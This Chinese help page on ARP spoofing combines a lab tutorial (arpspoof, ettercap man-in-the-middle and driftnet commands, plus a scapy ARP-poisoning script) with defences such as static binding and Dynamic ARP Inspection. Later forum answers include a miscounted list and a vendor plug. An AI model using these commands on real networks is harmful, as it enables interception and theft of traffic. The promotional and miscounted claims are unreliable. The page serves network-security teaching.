上犹电脑信息网我们一直在努力
您的位置:上犹电脑信息网 > win7问题 > 简述ARP欺骗攻击的基本原理_DHCP欺骗攻击过程

简述ARP欺骗攻击的基本原理_DHCP欺骗攻击过程

作者:上犹日期:

返回目录:win7问题

内容导航:
  • ARP欺骗攻击及防御
  • ARP欺骗防御是什么??
  • ARP欺骗攻击与防范
  • ARP欺骗的原理、类型及其防御的方法
  • 一、ARP欺骗攻击及防御

    文章来源:知了堂冯老师原创


    知了小姐姐今天又来给大家送干货啦!




    ARP欺骗攻击及防御



    1.回顾

    ARP协议


    地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址,说白了就是将IP地址转化为MAC地址。


    2.ARP缓存

    如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的


    ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存


    3.ARP协议安全问题

    ARP协议在设计存在着什么安全问题? ARP广播请求/应答 ARP缓存


    ARP欺骗 (ARP Spoofing) 发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。


    4.ARP攻击原理

    PC1和PC2正常通信的时候,会双方会记录对方的IP和MAC地址的映射,就是生成ARP缓存表,当PC1信息发送至交换机端口1的时候再转发到PC2,交换机同样会记录MAC1,生成一条MAC1和端口1的映射,之后交换机可以跟MAC桢的目的MAC进行端口转发。


    如果现在有一台PC3,当PC1和PC2建立关系的时候,PC3处于监听状态,也就是会把广播包给丢弃,但PC3同样也可以把包抓起,并回复虚假包,告诉PC1,我是PC2,那么PC1就收到了两条PC2的回应包(一个真的,一个假的),PC1不知道谁是真谁是假,所以PC3就可以连续发包,覆盖掉真正的PC2的包,与PC1建立联系,进行ARP欺骗


    5.欺骗实战

    5.1断网攻击

    实验准备


    攻击机:kali ip:192.168.2.135


    靶机 :win10 ip:192.168.2.196   网关:192.168.2.1



    攻击机发起攻击 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1



    5.2 流量截获

    实验准备


    攻击机:kali ip:192.168.2.135


    靶机 :win10 ip:192.168.2.196   网关:192.168.2.1


    攻击机发起攻击


    arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.1 目标主机网关192.168.2.196


    echo 1 >> /proc/sys/net/ipv4/ip_forward


    用ettercap命令进行嗅探 -T 文本模式 -q 安静模式


    -M 中间人攻击 ettercap -T -q -M ARP /192.168.2.1// ///


    用driftnet进行流量监控靶机访问页面, 显示图片 driftnet -i eth0


    6.防御

    6.1静态绑定关键主机的IP地址与MAC地址映射关系

    网关/关键服务器 "arp -s IP地址 MAC地址 类型"


    6.2使用相应的ARP防范工具

    ARP防火墙


    6.3使用VLAN虚拟子网细分网络拓扑

    6.4加密传输数据以降低ARP欺骗攻击的危害后果

    Win 7下直接运行cmd,arp -s会出现下面的错误提示:ARP 项删除失败: 请求的操作需要提升。ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。(英文版提示:The ARP entry addition failed: Access is denied. )如何解决呢?运行arp -s需要用管理员身份运行,进入windowssystem32文件夹找到cmd.exe,右键“以管理员身份运行”,接下来具体做法是:1、先运行:netsh i i showin 找到正在使用的网卡idx号2、然后运行:netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48就可以进行绑定了,这里11是idx号,后面是ip地址与物理地址。3、输入 arp -a查看在Win7用ARP -D并不能完全的删除绑定必须使用netsh -c "i i" delete neighborsIDX (IDX改为相应的数字)才可删除MAC地址绑定​

    6.5动态ARP检测

    动态 ARP 检测(DAI)可用来验证网络中的 ARP 包,会拦截、记录并丢弃带有无效 IP-MAC 地址映射的 ARP 包,可以保护网络免受中间人攻击的影响。动态 ARP 检测课确保只允许有效的 ARP 请求和回应被转发。


    配置步骤为:


    1在一个或多客户VLAN 上启用:


    switch(config)#ip arp inspection vlan vlan-range

    在该命令中,可指定单个 VLAN ID ,用连字符分隔的 VLAN ID 范围或用逗号分隔的 VLAN ID 列表。


    2将端口指定为可信。


    switch(config)#interface type mod/numswitch(config-if)#ip arp inspection trust

    3验证配置


    switch#show ip arp inspection vlan vlan-id

    7.工具编写

    #coding=utf-8from scapy.all import *import sysimport osclass ar: #mac地址获取 def get_mac(self,ip_address): try: #发包获取mac ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2) except Exception as e: print(e) else: for send,rcv in ans: print(rcv[ARP].psrc+"---->"+rcv[Ether].src) return rcv[Ether].src pass #中断arp攻击 def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac): print("[-] Restoring target ……") send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac)) send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac)) # os.kill(os.getpid(),signal.SIGINT) pass #arp攻击 def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac): try: send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac)) send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac)) except KeyboardInterrupt: restore_target() passdef main(): #网卡 interface="eth0" #目标ip target_ip="192.168.75.11" #网卡ip gateway_ip="192.168.75.1" packet_count=1000 conf.iface = interface conf.verb =0 arp=ar() #获取网卡mac gateway_mac=arp.get_mac(gateway_ip) if gateway_mac ==None: print("[!] Failed to get target MAC. Exiting.") else: print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac)) #获取目标mac target_mac=arp.get_mac(target_ip) if target_mac==None: print("[!] Failed to get target MAC Exiting.") else: print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac)) #arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac) arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)if __name__=="__main__": main()

    今天的干货分享就到这里啦,想要获取更多免费干货资源,私信知了小姐姐哈。


    二、ARP欺骗防御是什么??

    MAC地址不一样的问题有可能是你房东/网管用MAC地址修改软件改了地址。
    根据你的描述 你们的局域网已经被网管在路由里设定了IP-MAC地址绑定了 你去百度下 MAC地址修改器下一个,然后让网管给你个新IP地址重新绑定就不必每次用renew了
    之所以你开彩蝶antiarp还防不住是因为开P2P的人,是因为对方在p2p里设定了把你的上传下载速度限制为5k/s,antiarp防不了这个,而且会经常掉线,360的更不行
    唯一的方法直接去找网管

    三、ARP欺骗攻击与防范

    ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。你可以安装360木马防火墙,勾选360下面的小勾勾。

    四、ARP欺骗的原理、类型及其防御的方法

    arp在目前看来可以分为7中之多。
    1、arp欺骗(网关、pc)
    2、arp攻击
    3、arp残缺
    4、海量arp
    5、二代arp(假ip、假mac)
    因为二代的arp最难解决,现在我就分析一下二代arp的问题。
    现象 ARP出现了新变种,二代ARP攻击已经具有自动传播能力,已有的宏文件绑定方式已经被破,网络有面临新一轮的掉线和卡滞盗号的影响!

    原理 二代ARP主要表现在病毒通过网络访问或是主机间的访问互相传播。由于病毒已经感染到电脑主机,可以轻而易举的清除掉客户机电脑上的ARP静态绑定(首先执行的是arp -d然后在执行的是arp -s ,此时绑定的是一个错误的MAC)伴随着绑定的取消,错误的网关IP和MAC的对应并可以顺利的写到客户机电脑,ARP的攻击又畅通无阻了。
    解决办法 (1)部分用户采用的“双/单项绑定”后,ARP攻击得到了一定的控制。
    面临问题双绑和单绑都需要在客户机上绑定。二代ARP攻击会清除电脑上的绑定,使得电脑静态绑定的方式无效。
    (2)部分用户采用一种叫作“循环绑定”的办法,就是每过一段“时间”客户端自动绑定一个“IP/MAC”。
    面临问题如果我们“循环绑定”的时间较长(比arp清除的时间长)就是说在“循环绑定”进行第二次绑定之前就被清除了,这样对arp的防范仍然无效。如果“循环绑定”的时间过短(比arp清除时间短)这块就会暂用更多的系统资源,这样就是“得不偿失”
    (3)部分用户采用一种叫作“arp防护”,就是网关每过一段时间按照一定的“频率”在内网发送正确网关“IP/MAC”
    面临问题如果发送的“频率”过快(每秒发送的ARP多)就会严重的消耗内网的资源(容易造成内网的堵塞),如果发送“频率”太慢(没有arp协议攻击发出来频率高)在arp防范上面没有丝毫的作用。
    最彻底的办法
    (4)arp是个“双头怪”要想彻底解决必须要“首尾兼顾”有两种方式可以实现
    第一 采用“看守式绑定”的方法,实时监控电脑ARP缓存,确保缓存内网关MAC和IP的正确对应。在arp缓存表里会有一个静态的绑定,如果受到arp的攻击,或只要有公网的请求时,这个静态的绑定又会自动的跳出,所以并不影响网络的正确的访问。这种方式是安全与网卡功能融合的一种表现,也叫作“终端抑制”
    第二就是在网络接入架构上要有“安全和网络功能的融合”就是在接入网关做NAT的时候不是按照传统路由那样根据“MAC/IP”映射表来转发数据,而是根据他们在NAT表中的MAC来确定(这样就会是只要数据可以转发出去就一定可以回来)就算ARP大规模的爆发,arp表也混乱了但是并不会给我们的网络造成任何影响。(不看IP/MAC映射表)这种方法在现有控制ARP中也是最彻底的。也被称为是“免疫网络”的重要特征。
    目前看只有巡路免疫网络具备此项特殊功能表现。

    相关阅读

    • win10删除微软输入法_如何关闭微软输入法

    • 上犹win7问题
    • 内容导航: 电脑自带的微软输入法怎么删除?快来看我这个方法吧 Windows自带的输入法怎么删除? win10升级后自带的微软拼音输入法怎么删除? 怎样才能把Windows 自带的 微软拼音输入法
    • psplay实时预览_实时单什么意思

    • 上犹win7问题
    • 内容导航: Word2013怎么取消启用实时预览的功能呢? word2013怎么取消桌面图标预览 microsoft office 2013Excel怎么启用实时预览不可以用啊 ppt2010怎么关闭启用实时预览功能 一、 Word2013怎么取
    • 网络端口_禁用端口

    • 上犹win7问题
    • 内容导航: 445端口禁用方法(大陆时间2018个人软件使用所有调整时间) 如何关闭139、445端口 如何将Net Bios 禁用,关闭TCP 445端口 高手快来指点 关闭445端口对局域网内使用radmin远程软件
    • 基础工程的重要性_基础状态满足的条件

    • 上犹win7问题
    • 内容导航: 最基础独显都能满足的,十款良心游戏 hd4000能玩哪些游戏 基本流畅? 有人知道的吗 越多越好 玩最好的单机游戏要用什么样独显好一点呢~~~???!独显大概要加到多少
    • windows默认域_Windows企业域

    • 上犹win7问题
    • 内容导航: Windows2012双向信任域完整实验(多图引导讲解) windows server 2012 r2安装AD域服务失败,求大神指点! Windows server 2012 安装域控制器(AD)失败,求解。 Windows 事件ID及解释 一、
    • 红色警戒原版_红警背景故事

    • 上犹win7问题
    • 内容导航: 你可能不了解的红色警戒背景故事 追忆红色警戒 红色警戒的故事背景 红色警戒全系列的故事情节 求红色警戒整理过后的故事背景 一、 你可能不了解的红色警戒背景故事
    • win10切换摄像头_win7开摄像头

    • 上犹win7问题
    • 内容导航: Windows中如何通过PowerShell脚本开关摄像头 window powershell 脚本环境怎么使用 如何在命令行执行 powershell 脚本 win7怎样运行powershell脚本 一、 Windows中如何通过PowerShell脚本开关摄
    关键词不能为空
    极力推荐

    电脑蓝屏_电脑怎么了_win7问题_win10问题_设置问题_文件问题_上犹电脑信息网

    关于我们